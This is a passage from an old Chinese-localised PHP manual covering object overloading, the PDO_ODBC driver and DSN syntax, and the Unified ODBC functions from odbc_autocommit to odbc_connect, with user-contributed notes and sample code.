       $numArgs = func_num_args() ; //number of args

       $args = func_get_args() ;  //array containing args

       call_user_func_array( array( &$this, 'OverloadTest'.$numArgs),  $args) ;

   }

   function overloadTest0(){

       $this->message = 'There are no args' ;

   }

   function overloadTest1($arg){

       $this->message = 'There\'s just one arg, its value is '.$arg ;

   }

       function overloadTest2($arg1, $arg2){

       $this->message = 'There are 2 args, their values are '.join( func_get_args(), ', ') ;

   }

       function getMessage(){

           return($this->message) ;

       }

}//end class

$x = new OverloadTest('fooA', 'fooB') ;

echo( $x->getMessage() ) ;

?>
muell-spam-trash-abfall at kcet dot de
14-Mar-2003 11:53
This is the syntax of __get(), __set() and __call():

__get ( [string property_name] , [mixed return_value] )
__set ( [string property_name] , [mixed value_to_assign] )
__call ( [string method_name] , [array arguments] , [mixed return_value] )

__call() seems to work with PHP 4.3.0

See http://www.phppatterns.com/index.php/article/articleview/28/1/2/ for using this extension in detail.
steve at walkereffects dot com
25-Feb-2003 02:32
If you are a perfectionist when it comes to your class interfaces, and you are unable to use overload(), there is another viable solution:

Use func_num_args() to determine how many arguments were sent to the function in order to create virtual polymorphism. You can create different scenarios by making logical assumptions about the parameters sent. From the outside the interface works just like an overloaded function.

The following shows an example of overloading a class constructor:

class Name
{
     var $FirstName;
     var $LastName;

     function Name($first, $last)
     {
           $numargs = func_num_args();

           if($numargs >= 2)
           {
                 $this->FirstName = $first;
                 $this->LastName = $last;
           }
           else
           {
                 $names = explode($first);
                 $this->FirstName = $names[0];
                 $this->LastName = $names[1]
           }
     }

}
add a note add a note

后退 | 起点 | 前进
deaggregate | 上一级 | overload


overload

(PHP 4 >= 4.2.0)

overload -- Enable property and method call overloading for a class

Description

void overload ( [string class_name] )

The overload() function will enable property and method call overloading for a class identified by class_name. See an example in the introductory section of this part.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Object property and method call overloading | 上一级 | ODBC and DB2 functions (PDO_ODBC)


ODBC and DB2 functions (PDO_ODBC)

PHP 手册
后退 前进

XCIII. ODBC and DB2 functions (PDO_ODBC)

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

PDO_ODBC is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to databases through ODBC drivers or through the IBM DB2 Call Level Interface (DB2 CLI) library.

On Windows, PDO_ODBC is built into the PHP core by default. It is linked against the Windows ODBC Driver Manager so that PHP can connect to any database cataloged as a System DSN, and is the recommended driver for connecting to Microsoft SQL Server databases.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. PDO_ODBC Configuration Options

Name | Default | Changeable | Changelog
pdo_odbc.connection_pooling | "strict" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

pdo_odbc.connection_pooling string

Whether to pool ODBC connections. Can be one of "strict", "relaxed" or "off" (equals to ""). The parameter describes how strict the connection manager should be when matching connection parameters to existing pooled connections. strict is the recommend default, and will result in the use of cached connections only when all the connection parameters match exactly. relaxed will result in the use of cached connections when similar connection parameters are used. This can result in increased use of the cache, at the risk of bleeding connection information between (for example) virtual hosts.

This setting can only be changed from the php.ini file, and affects the entire process; any other modules loaded into the process that use the same ODBC libraries will be affected too, including the Unified ODBC extension.

警告

relaxed matching should not be used on a shared server, for security reasons.

提示: Leave this setting at the default strict setting unless you have good reason to change it.

目录
PDO_ODBC DSN -- Connecting to ODBC or DB2 databases

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
overload | 上一级 | PDO_ODBC DSN


PDO_ODBC DSN

(no version information, might be only in CVS)

PDO_ODBC DSN -- Connecting to ODBC or DB2 databases

说明

The PDO_ODBC Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is odbc:. If you are connecting to a database cataloged in the ODBC driver manager or the DB2 catalog, you can append the cataloged name of the database to the DSN.

DSN

The name of the database as cataloged in the ODBC driver manager or the DB2 catalog. Alternately, you can provide a complete ODBC connection string to connect to a database as described at http://connectionstrings.com.

UID

The name of the user for the connection. If you specify the user name in the DSN, PDO ignores the value of the user name argument in the PDO constructor.

PWD

The password of the user for the connection. If you specify the password in the DSN, PDO ignores the value of the password argument in the PDO constructor.

范例

例子 1. PDO_ODBC DSN example (ODBC driver manager)

The following example shows a PDO_ODBC DSN for connecting to an ODBC database cataloged as testdb in the ODBC driver manager:
odbc:testdb

例子 2. PDO_ODBC DSN example (IBM DB2 uncataloged connection)

The following example shows a PDO_ODBC DSN for connecting to an IBM DB2 database named SAMPLE using the full ODBC DSN syntax:
odbc:DSN={IBM DB2 ODBC};HOSTNAME=localhost;PORT=50000;DBNAME=SAMPLE;PROTOCOL=TCPIP;UID=db2inst1;PWD=ibmdb2;

例子 3. PDO_ODBC DSN example (Microsoft Access uncataloged connection)

The following example shows a PDO_ODBC DSN for connecting to a Microsoft Access database stored at C:\db.mdb using the full ODBC DSN syntax:
odbc:Driver={Microsoft Access Driver (*.mdb)};Dbq=C:\\db.mdb;Uid=Admin

add a note add a note User Contributed Notes
02-May-2006 10:57
On MS SQL Server there is a convenient way to help troubleshooting database server performance problems is to use the APP attribute, like this:

<?php
$dsn = 'DRIVER=FreeTDS;SERVERNAME=server1;DATABASE=testdb;APP=My PHP Application;UID=user;';
?>

This will show the "My PHP Application" text in ProgramName column of the sp_who2 procedure in MS SQL Server.
add a note add a note

后退 | 起点 | 前进
ODBC and DB2 functions (PDO_ODBC) | 上一级 | ODBC Functions (Unified)


ODBC Functions (Unified)

PHP 手册
后退 前进

XCIV. ODBC Functions (Unified)

简介

In addition to normal ODBC support, the Unified ODBC functions in PHP allow you to access several databases that have borrowed the semantics of the ODBC API to implement their own API. Instead of maintaining multiple database drivers that were all nearly identical, these drivers have been unified into a single set of ODBC functions.

The following databases are supported by the Unified ODBC functions: Adabas D, IBM DB2, iODBC, Solid, and Sybase SQL Anywhere.

注: There is no ODBC involved when connecting to the above databases. The functions that you use to speak natively to them just happen to share the same names and syntax as the ODBC functions. The exception to this is iODBC. Building PHP with iODBC support enables you to use any ODBC-compliant drivers with your PHP applications. iODBC is maintained by OpenLink Software. More information on iODBC, as well as a HOWTO, is available at www.iodbc.org.

需求

To access any of the supported databases you need to have the required libraries installed.

安装

--with-adabas[=DIR]

Include Adabas D support. DIR is the Adabas base install directory, defaults to /usr/local.

--with-sapdb[=DIR]

Include SAP DB support. DIR is SAP DB base install directory, defaults to /usr/local.

--with-solid[=DIR]

Include Solid support. DIR is the Solid base install directory, defaults to /usr/local/solid.

--with-ibm-db2[=DIR]

Include IBM DB2 support. DIR is the DB2 base install directory, defaults to /home/db2inst1/sqllib.

--with-empress[=DIR]

Include Empress support. DIR is the Empress base install directory, defaults to $EMPRESSPATH. From PHP 4, this option only supports Empress Version 8.60 and above.

--with-empress-bcs[=DIR]

Include Empress Local Access support. DIR is the Empress base install directory, defaults to $EMPRESSPATH. From PHP 4, this option only supports Empress Version 8.60 and above.

--with-birdstep[=DIR]

Include Birdstep support. DIR is the Birdstep base install directory, defaults to /usr/local/birdstep.

--with-custom-odbc[=DIR]

Include a user defined ODBC support. The DIR is ODBC install base directory, which defaults to /usr/local. Make sure to define CUSTOM_ODBC_LIBS and have some odbc.h in your include dirs. E.g., you should define following for Sybase SQL Anywhere 5.5.00 on QNX, prior to run configure script: CPPFLAGS="-DODBC_QNX -DSQLANY_BUG" LDFLAGS=-lunix CUSTOM_ODBC_LIBS="-ldblib -lodbc".

--with-iodbc[=DIR]

Include iODBC support. DIR is the iODBC base install directory, defaults to /usr/local.

--with-esoob[=DIR]

Include Easysoft OOB support. DIR is the OOB base install directory, defaults to /usr/local/easysoft/oob/client.

--with-unixODBC[=DIR]

Include unixODBC support. DIR is the unixODBC base install directory, defaults to /usr/local.

--with-openlink[=DIR]

Include OpenLink ODBC support. DIR is the OpenLink base install directory, defaults to /usr/local. This is the same as iODBC.

--with-dbmaker[=DIR]

Include DBMaker support. DIR is the DBMaker base install directory, defaults to where the latest version of DBMaker is installed (such as /home/dbmaker/3.6).

To disable unified ODBC support in PHP 3 add --disable-unified-odbc to your configure line. Only applicable if iODBC, Adabas, Solid, Velocis or a custom ODBC interface is enabled.

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Unified ODBC Configuration Options

Name | Default | Changeable | Changelog
odbc.default_db * | NULL | PHP_INI_ALL |
odbc.default_user * | NULL | PHP_INI_ALL |
odbc.default_pw * | NULL | PHP_INI_ALL |
odbc.allow_persistent | "1" | PHP_INI_SYSTEM |
odbc.check_persistent | "1" | PHP_INI_SYSTEM |
odbc.max_persistent | "-1" | PHP_INI_SYSTEM |
odbc.max_links | "-1" | PHP_INI_SYSTEM |
odbc.defaultlrl | "4096" | PHP_INI_ALL |
odbc.defaultbinmode | "1" | PHP_INI_ALL |

注: Entries marked with * are not implemented yet.

有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

odbc.default_db string

ODBC data source to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.default_user string

User name to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.default_pw string

Password to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.allow_persistent boolean

Whether to allow persistent ODBC connections.

odbc.check_persistent boolean

Check that a connection is still valid before reuse.

odbc.max_persistent integer

The maximum number of persistent ODBC connections per process.

odbc.max_links integer

The maximum number of ODBC connections per process, including persistent connections.

odbc.defaultlrl integer

Handling of LONG fields. Specifies the number of bytes returned to variables.

当使用 integer 类型时，其值以字节为度量单位。还可以用简化符号，说明见此 FAQ。

odbc.defaultbinmode integer

Handling of binary data.

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

ODBC_TYPE (integer)

ODBC_BINMODE_PASSTHRU (integer)

ODBC_BINMODE_RETURN (integer)

ODBC_BINMODE_CONVERT (integer)

SQL_ODBC_CURSORS (integer)

SQL_CUR_USE_DRIVER (integer)

SQL_CUR_USE_IF_NEEDED (integer)

SQL_CUR_USE_ODBC (integer)

SQL_CONCURRENCY (integer)

SQL_CONCUR_READ_ONLY (integer)

SQL_CONCUR_LOCK (integer)

SQL_CONCUR_ROWVER (integer)

SQL_CONCUR_VALUES (integer)

SQL_CURSOR_TYPE (integer)

SQL_CURSOR_FORWARD_ONLY (integer)

SQL_CURSOR_KEYSET_DRIVEN (integer)

SQL_CURSOR_DYNAMIC (integer)

SQL_CURSOR_STATIC (integer)

SQL_KEYSET_SIZE (integer)

SQL_CHAR (integer)

SQL_VARCHAR (integer)

SQL_LONGVARCHAR (integer)

SQL_DECIMAL (integer)

SQL_NUMERIC (integer)

SQL_BIT (integer)

SQL_TINYINT (integer)

SQL_SMALLINT (integer)

SQL_INTEGER (integer)

SQL_BIGINT (integer)

SQL_REAL (integer)

SQL_FLOAT (integer)

SQL_DOUBLE (integer)

SQL_BINARY (integer)

SQL_VARBINARY (integer)

SQL_LONGVARBINARY (integer)

SQL_DATE (integer)

SQL_TIME (integer)

SQL_TIMESTAMP (integer)

SQL_TYPE_DATE (integer)

SQL_TYPE_TIME (integer)

SQL_TYPE_TIMESTAMP (integer)

SQL_BEST_ROWID (integer)

SQL_ROWVER (integer)

SQL_SCOPE_CURROW (integer)

SQL_SCOPE_TRANSACTION (integer)

SQL_SCOPE_SESSION (integer)

SQL_NO_NULLS (integer)

SQL_NULLABLE (integer)

SQL_INDEX_UNIQUE (integer)

SQL_INDEX_ALL (integer)

SQL_ENSURE (integer)

SQL_QUICK (integer)

目录
odbc_autocommit -- Toggle autocommit behaviour
odbc_binmode -- Handling of binary column data
odbc_close_all -- Close all ODBC connections
odbc_close -- Close an ODBC connection
odbc_columnprivileges -- Returns a result identifier that can be used to fetch a list of columns and associated privileges
odbc_columns -- Lists the column names in specified tables
odbc_commit -- Commit an ODBC transaction
odbc_connect -- Connect to a datasource
odbc_cursor -- Get cursorname
odbc_data_source -- Returns information about a current connection
odbc_do -- Synonym for odbc_exec()
odbc_error -- Get the last error code
odbc_errormsg -- Get the last error message
odbc_exec -- Prepare and execute a SQL statement
odbc_execute -- Execute a prepared statement
odbc_fetch_array -- Fetch a result row as an associative array
odbc_fetch_into -- Fetch one result row into array
odbc_fetch_object -- Fetch a result row as an object
odbc_fetch_row -- Fetch a row
odbc_field_len -- Get the length (precision) of a field
odbc_field_name -- Get the columnname
odbc_field_num -- Return column number
odbc_field_precision -- Synonym for odbc_field_len()
odbc_field_scale -- Get the scale of a field
odbc_field_type -- Datatype of a field
odbc_foreignkeys -- Returns a list of foreign keys in the specified table or a list of foreign keys in other tables that refer to the primary key in the specified table
odbc_free_result -- Free resources associated with a result
odbc_gettypeinfo -- Returns a result identifier containing information about data types supported by the data source
odbc_longreadlen -- Handling of LONG columns
odbc_next_result -- Checks if multiple results are available
odbc_num_fields -- Number of columns in a result
odbc_num_rows -- Number of rows in a result
odbc_pconnect -- Open a persistent database connection
odbc_prepare -- Prepares a statement for execution
odbc_primarykeys -- Returns a result identifier that can be used to fetch the column names that comprise the primary key for a table
odbc_procedurecolumns -- Retrieve information about parameters to procedures
odbc_procedures -- Get the list of procedures stored in a specific data source
odbc_result_all -- Print result as HTML table
odbc_result -- Get result data
odbc_rollback -- Rollback a transaction
odbc_setoption -- Adjust ODBC settings
odbc_specialcolumns -- Returns either the optimal set of columns that uniquely identifies a row in the table or columns that are automatically updated when any value in the row is updated by a transaction
odbc_statistics -- Retrieve statistics about a table
odbc_tableprivileges -- Lists tables and the privileges associated with each table
odbc_tables -- Get the list of table names stored in a specific data source

add a note add a note User Contributed Notes
sven at ajaxtechforums dot com
28-Feb-2006 07:07
I found this to be a perfect alternative to the MaxDB special drivers of version 7.5.00. Just weren't that easy to install on *nix. Windows seems fine. Anyway The ODBC is a perfect alternative for connecting the SAPDB/MaxDB towards PHP.

Installation guide for the odbc alternative (instead of the MAXDB-php driver) can be found here:

http://maxdb.yapabout.com/viewtopic.php?t=21
xangelusx at hotmail dot com
11-Nov-2005 11:45
If you receive an error stating "Connection is busy with results for another hstmt, SQL state S1000 in SQLExecDirect" try opening your odbc connection using the SQL_CURSOR_FORWARD_ONLY option

<?php
$db_link = odbc_connect($dsn, $username, $password, SQL_CURSOR_FORWARD_ONLY)
   or die('Error connecting to server. Server says: '.htmlspecialchars(odbc_errormsg()));
?>
Quickdraw
06-May-2005 02:06
In response to Holger's comment about using @@identity:

Be carefull. If the table you're inserting into has a trigger that also inserts into another table that has an identity column you'll get the key of that other table! use scope_identity() instead of @@identity
05-May-2005 11:14
I searched for the solution of why odbc connection of a network remote drive under Windows + Apache 2.0.X, cannot give the query, but seems no one provides the solution.

In fact, it is very simple.
Go to Control Panal -> Services;
Find and double click "Apache2";
In the page of "Log On", choose Log on as "This account" and give an account in the web server system which have the right to control the network remote drive;
Finally, restart Apache, and that's it.
philip
08-Mar-2005 07:13
A good tutorial for odbc + php can be found here (written by the good folks at IBM Developer Works):
* http://tinyurl.com/3w8s4
denials at gmail dot com
24-Jan-2005 07:05
Ever wonder why you're experiencing really slow data retrieval times using IBM DB2 Universal Database for Linux, UNIX, and Windows? The default cursor type used by Unified ODBC is not supported by DB2, so it gets downgraded to a forward-only cursor -- and that negotiation occurs with every row fetch.

One way to force your PHP applications to use forward-only cursors is to modify your DB2 client configuration with a handy CLI patch2 setting value of 6:

$ db2 UPDATE CLI CONFIGURATION FOR SECTION dbname USING patch2 6

You have to update this client setting on the same machine on which you are running the PHP application. This works on Windows operating systems as well as on Linux & UNIX operating systems.

I ran a few basic benchmarks (fetch 10,000 rows consisting of 3 INTEGER columns from a remote database server) and concluded that this setting can make a major difference to your application speed:

Without CLI patch2 setting: ~22 seconds
With CLI patch2 setting: ~ 1.75 seconds

Note that the drawback of using this patch setting (or any other method of using forward-only cursors) makes odbc_num_rows() always return "-1" for the number of rows affected by a SELECT statement.
pascals at NOSPAM dot pobox dot com
28-Feb-2004 07:15
If the bundled ODBC library stumbles on some field formats (like some REAL from Pervasive.SQL), have a look at http://odbtp.sourceforge.net/.

After many headaches, I have adoped odbtp: it's a very solid library and best of all it's not tied to a particular OS.
vbwebprofi at gmx dot de
04-Nov-2003 08:31
On my search for a function to retriew the NewID of an inserted row wich has an autoincrement I found this solution like the mysql_insert_id for an ODBC connection to MS-Access :

<?
// make your connection below
$Connection = odbc_connect(...);
$Result = odbc_exec($Connection, "select @@identity");
$NewID = odbc_result($Result, 1);
odbc_free_result($Result);

// make here all what you want with the NewID

odbc_close($Connection);
?>

In my mind this should also work with MS-SQL-Server and with Sybase - via ODBC and direct (mssql_.../sybase_...).

HTH ...

Regards

Holger
b dot parish at no_spam dot linst dot ac dot uk
14-Aug-2002 11:46
Accessing a Microsoft SQL Server database from PHP running under Linux:

http://www.phpbuilder.com/columns/alberto20000919.php3?page=4
dan dot polansky at seznam dot cz
03-Mar-2001 02:37
First I just repeat that examples are here:

http://php.weblogs.com/odbc

Second: Despite confusing remarks above, using unified ODBC functions you can really connect to any database for which you create DSN (Data Source Name). That is: using unified ODBC functions you can connect to _any_ database for which you have ODBC driver. Drivers exists or example Interbase, VisualFoxPro, DBase III,IV,V etc, many drivers are part of Win98 installation, other can be obtained from companies like EasySoft and Merant. ODBC is one of the most flexible ways for connecting to databases. This is because ODBC driver exist for almost every database there is. The question is, whether the driver is free. At least there are many 30 days trial versions of drivers.
add a note add a note

后退 | 起点 | 前进
PDO_ODBC DSN | 上一级 | odbc_autocommit


odbc_autocommit

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_autocommit -- Toggle autocommit behaviour

Description

mixed odbc_autocommit ( resource connection_id [, bool OnOff] )

Without the OnOff parameter, this function returns auto-commit status for connection_id. Non-zero is returned if auto-commit is on, 0 if it is off, or FALSE if an error occurs.

If OnOff is TRUE, auto-commit is enabled, if it is FALSE auto-commit is disabled. Returns TRUE on success, FALSE on failure.

By default, auto-commit is on for a connection. Disabling auto-commit is equivalent with starting a transaction.

See also odbc_commit() and odbc_rollback().

add a note add a note User Contributed Notes
Orgied - info at orgied dot com
06-Apr-2005 02:58
Hi (i'm belgian then sorry for my english).

I think you can do more simple to check the errors :

$conn = odbc_connect($odbc,$user,$password)
   or die($error);

odbc_autocommit($conn, FALSE);

odbc_exec($conn, $query1);
odbc_exec($conn, $query2);

if (!odbc_error())
     odbc_commit($conn);
else
     odbc_rollback($conn);

odbc_close($conn);

I'm not sure it's better to use odbc_error() than
odbc_error($conn). It seems to be the same result.
Ron
21-Aug-2004 02:51
using autocommit functionality to rollback transactions in a "workspace"

<?php
$conn = odbc_connection("$DSN","USER","PASS");
//turns off autocommit
odbc_autocommit($conn,FALSE);

$query1 = "some SQL";
$query2 = "some more SQL";

$ErrorCount = 0;
//if odbc_exec fails it will increment the $ErrorCount
$result = odbc_exec($conn,$query1) or $ErrorCount++;
$result2 = odbc_exec($conn,$query2) or $ErrorCount++;

//checking for errors, commit if none, rollback else
if ($Errorcount == 0){
   odbc_commit($conn);
   echo "transaction successful";
}
else{
   odbc_rollback($conn);
   echo "there were errors processing the transaction.
   No changes were made to the database";
}

odbc_close($conn);

?>

Cheers,
Ron
Joe
27-May-2004 12:01
It seems that example made by andrea dot galli at acotel dot com works exactly the contrary.

It sets autocommit OFF and NOT ON like it's written inside note!
JRog
26-Jun-2003 04:30
If a transaction is started (autocommit disabled) while there is an active result id on the connection, odbc_autocommit will post a warning (Cannot set autocommit).  Use odbc_free_result to clear the result id's or start the transaction before you execute the SQL.
andrea dot galli at acotel dot com
29-Apr-2003 12:48
Example: set autocommit on

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");

   $Return = odbc_autocommit($Link_ID, FALSE);

?>
alonsoalonsocr at yahoo dot com
09-Oct-2001 06:09
When used in a odbc_fetch loop your selected resultset is lost and loop ends.
add a note add a note

后退 | 起点 | 前进
ODBC Functions (Unified) | 上一级 | odbc_binmode


odbc_binmode

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_binmode -- Handling of binary column data

Description

bool odbc_binmode ( resource result_id, int mode )

(ODBC SQL types affected: BINARY, VARBINARY, LONGVARBINARY)

  • ODBC_BINMODE_PASSTHRU: Passthru BINARY data

  • ODBC_BINMODE_RETURN: Return as is

  • ODBC_BINMODE_CONVERT: Convert to char and return

When binary SQL data is converted to character C data, each byte (8 bits) of source data is represented as two ASCII characters. These characters are the ASCII character representation of the number in its hexadecimal form. For example, a binary 00000001 is converted to "01" and a binary 11111111 is converted to "FF".

表格 1. LONGVARBINARY handling

binmode | longreadlen | result
ODBC_BINMODE_PASSTHRU | 0 | passthru
ODBC_BINMODE_RETURN | 0 | passthru
ODBC_BINMODE_CONVERT | 0 | passthru
ODBC_BINMODE_PASSTHRU | 0 | passthru
ODBC_BINMODE_PASSTHRU | >0 | passthru
ODBC_BINMODE_RETURN | >0 | return as is
ODBC_BINMODE_CONVERT | >0 | return as char

If odbc_fetch_into() is used, passthru means that an empty string is returned for these columns.

If result_id is 0, the settings apply as default for new results.

注: Default for longreadlen is 4096 and binmode defaults to ODBC_BINMODE_RETURN. Handling of binary long columns is also affected by odbc_longreadlen()

add a note add a note User Contributed Notes
mizmerize at yahoo dot com
11-Jan-2006 10:59
I am currently using an SQL Server 2000 used as a datasource for ODBC access, Testing PHP scripts from an Apache 2 server running on Windows 2000.

I was trying to get an image from the database using ODBC but the output always flushes automatically while I was just getting the result using odbc_result() function.

With this code, the picture automatically prints to the browser as soon as I hit odbc_result() (probably a bug, but bug reports aren't that easy to do).

<?php
  $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
   $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
   if ($result) {
       odbc_longreadlen($result, 131072);
       odbc_binmode($result,ODBC_BINMODE_PASSTHRU);
//upon calling this, the output flushes out to the browser... made me scratch
$m_FValue=odbc_result($result, 1);
}
?>

...after 48 hours of scratching I finally made a work around, but by using a function in the bin2hex() function documentation...

<?php
     function hex2bin($data){
       $len = strlen($data);
       return pack("H" . $len, $data);
   }

   $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
   $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
   if ($result) {
       odbc_longreadlen($result, 131072);
       odbc_binmode($result,ODBC_BINMODE_CONVERT);
       $m_FValue=odbc_result($result, 1);
       $out=hex2bin($m_FValue);
   }
?>

The trick was to convert the output into hex by changing odbc_binmode to  ODBC_BINMODE_CONVERT and using a handy function to convert it back to binary in order to facilitate manipulation of its size, depth etc...
andrea dot galli at acotel dot com
28-Apr-2003 11:27
Example: retrieve image from database.

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");
   $Query_ID = odbc_exec($Link_ID, "SELECT picture FROM categories");

   // change to ODBC_BINMODE_CONVERT for comparison

   odbc_binmode($Query_ID, ODBC_BINMODE_RETURN);

   $Images = odbc_result($Query_ID, 1);

   echo $Images;

?>
add a note add a note

后退 | 起点 | 前进
odbc_autocommit | 上一级 | odbc_close_all


odbc_close_all

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_close_all -- Close all ODBC connections

Description

void odbc_close_all ( void )

odbc_close_all() will close down all connections to database server(s).

注: This function will fail if there are open transactions on a connection. This connection will remain open in this case.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_binmode | 上一级 | odbc_close


odbc_close

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_close -- Close an ODBC connection

Description

void odbc_close ( resource connection_id )

odbc_close() will close down the connection to the database server associated with the given connection identifier.

注: This function will fail if there are open transactions on this connection. The connection will remain open in this case.

add a note add a note User Contributed Notes
mallsop at ind dot net
17-May-2000 10:33
On microsoft servers, use the odbc_free_result command.
add a note add a note

后退 | 起点 | 前进
odbc_close_all | 上一级 | odbc_columnprivileges


odbc_columnprivileges

(PHP 4, PHP 5)

odbc_columnprivileges -- Returns a result identifier that can be used to fetch a list of columns and associated privileges

Description

resource odbc_columnprivileges ( resource connection_id, string qualifier, string owner, string table_name, string column_name )

Lists columns and associated privileges for the given table. Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER

  • TABLE_OWNER

  • TABLE_NAME

  • GRANTOR

  • GRANTEE

  • PRIVILEGE

  • IS_GRANTABLE

The result set is ordered by TABLE_QUALIFIER, TABLE_OWNER and TABLE_NAME.

The column_name argument accepts search patterns ('%' to match zero or more characters and '_' to match a single character).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_close | 上一级 | odbc_columns


odbc_columns

(PHP 4, PHP 5)

odbc_columns -- Lists the column names in specified tables

Description

resource odbc_columns ( resource connection_id [, string qualifier [, string schema [, string table_name [, string column_name]]]] )

Lists all columns in the requested range. Returns an ODBC result identifier containing the information or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER

  • TABLE_SCHEM

  • TABLE_NAME

  • COLUMN_NAME

  • DATA_TYPE

  • TYPE_NAME

  • PRECISION

  • LENGTH

  • SCALE

  • RADIX

  • NULLABLE

  • REMARKS

The result set is ordered by TABLE_QUALIFIER, TABLE_SCHEM and TABLE_NAME.

The schema, table_name and column_name arguments accept search patterns ('%' to match zero or more characters and '_' to match a single character).

See also odbc_columnprivileges() to retrieve associated privileges.

add a note add a note User Contributed Notes
ke3wh at comcast dot net
26-Nov-2004 09:47
The complete script to get into from a DSN MS Access DB Table and display it is below.

function Error_Handler( $msg, $cnx ) {
   echo "$msg \n";
   odbc_close( $cnx);
   exit();
   }

$cnx = odbc_connect( 'DSN_NAME' , '', '' );//connect to MSAccess
   if (!$cnx) {
     Error_handler( "Error in odbc_connect" , $cnx );
   }

   $res400= odbc_columns($cnx,"DSN_NAME","","TABLE");
   echo odbc_result_all($res400);
laundro at gmail dot com
16-Nov-2004 12:29
Getting all column names from Excel with ODBC:
$cols = odbc_columns($connection, $filename, NULL, $sheet);

where:
$connection is the result of your odbc_connect;
$filename is the filename of the Excel file;
$sheet is the name of the Excel worksheet.

This is useful when you want to query an Excel file without having to name ranges beforehand. With the results obtained from the above command, you can populate an array and use its contents (ie the column names) for further querying.
netaminas at hotamil dot com
26-Feb-2004 06:21
Connect with IBM Client Access 32-bit ODBC driver

To access table information in DB2 iSeries (AS/400) via ODBC Driver i've tried with this code and worked!!!

$conn_ODBC = odbc_connect("DSN", "USER", "PASSW") or die;
$tabela = "table name in IBM iSeries";
$libname = "library name in IBM iSeries"

$res400 = odbc_columns($conn_ODBC, "DSN", $libname, $tabela, "%")  or die("<p><font color=#FF0000>Erro Na Leitura da Tabela ".$tabela." do AS/400: ".odbc_errormsg());

echo odbc_result_all($res400);

Netaminas.com
PORTUGAL
22-Oct-2003 02:44
ODBC & MS ACCESS :

odbc_columns($conn,"DSN_NAME","","TABLE_NAME");
Sergio Sartori
26-Feb-2003 12:05
Using this function on a MS SQL Server 2000 database connection with the syntax:

$res = odbc_columns($connId, $dbName, "%", $tableName, "%");

I actually get a result set with THESE columns name:

TABLE_CAT, TABLE_SCHEM, TABLE_NAME, COLUMN_NAME, DATA_TYPE, TYPE_NAME, COLUMN_SIZE, BUFFER_LENGTH, DECIMAL_DIGITS, NUM_PREC_RADIX, NULLABLE, REMARKS

in the order displayed.
jastern at uci dot edu
27-Sep-2002 05:34
i put an example of using odbc_columns() and odbc_tables() with interbase/ODBC at:

http://www.faqts.com/knowledge_base/view.phtml/aid/18988
josh at engledental dot com
13-Jun-2002 08:34
(PHP4.2.1, Win2k, MSSQL 2K)

The result id returned from this function does not appear to behave exactly the same as a result id returned from a query.

I get all sorts of errors when I try to use subsequent odbc functions on the result id, such as:

odbc_fetch_into - This function only seems to work if I don't specify a row number or if the row number = 0.

odbc_fetch_row - This function will not return a row from the result set.  Under some scenarios, I am able to use it in a while loop, but its seems buggy.  Hence, my odbc_num_of_rows function (hack to replace the non-functional odbc_num_rows function) also doesn't work.

I recommend dumping the results into an array immediately and freeing the result id created by this function.

ps - If anyone has any further insight or workarounds, I would appreciate them.
LyleE at LocalMotion dot com
23-Feb-2001 03:53
Took me a while to figure out this command, thought I would save some other people the time.  We couldn't quite figure out what the qualifier was.  For MSSQL 7.0, it is the Database that you are connecing to.  For the pubs database it would look something like this.

$rs = odbc_columns($DBConnection, "Pubs", "%", "jobs");

That would be for showing the jobs table.
fmk at swwwing dot com
03-Oct-2000 03:23
Before PHP 4.0.3 uou could use this function with 1 or 5 prarms. From 4.0.3 the function matches the documentation.
add a note add a note

后退 | 起点 | 前进
odbc_columnprivileges | 上一级 | odbc_commit


odbc_commit

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_commit -- Commit an ODBC transaction

Description

bool odbc_commit ( resource connection_id )

odbc_commit() commits all pending transactions on the connection_id connection. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
edrenth at thematec dot nl
17-Oct-2000 09:14
When used within an odbc_fetch_row() loop, your selected set is lost.
add a note add a note

后退 | 起点 | 前进
odbc_columns | 上一级 | odbc_connect


odbc_connect

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_connect -- Connect to a datasource

Description

resource odbc_connect ( string dsn, string user, string password [, int cursor_type] )

Returns an ODBC connection id or 0 (FALSE) on error.

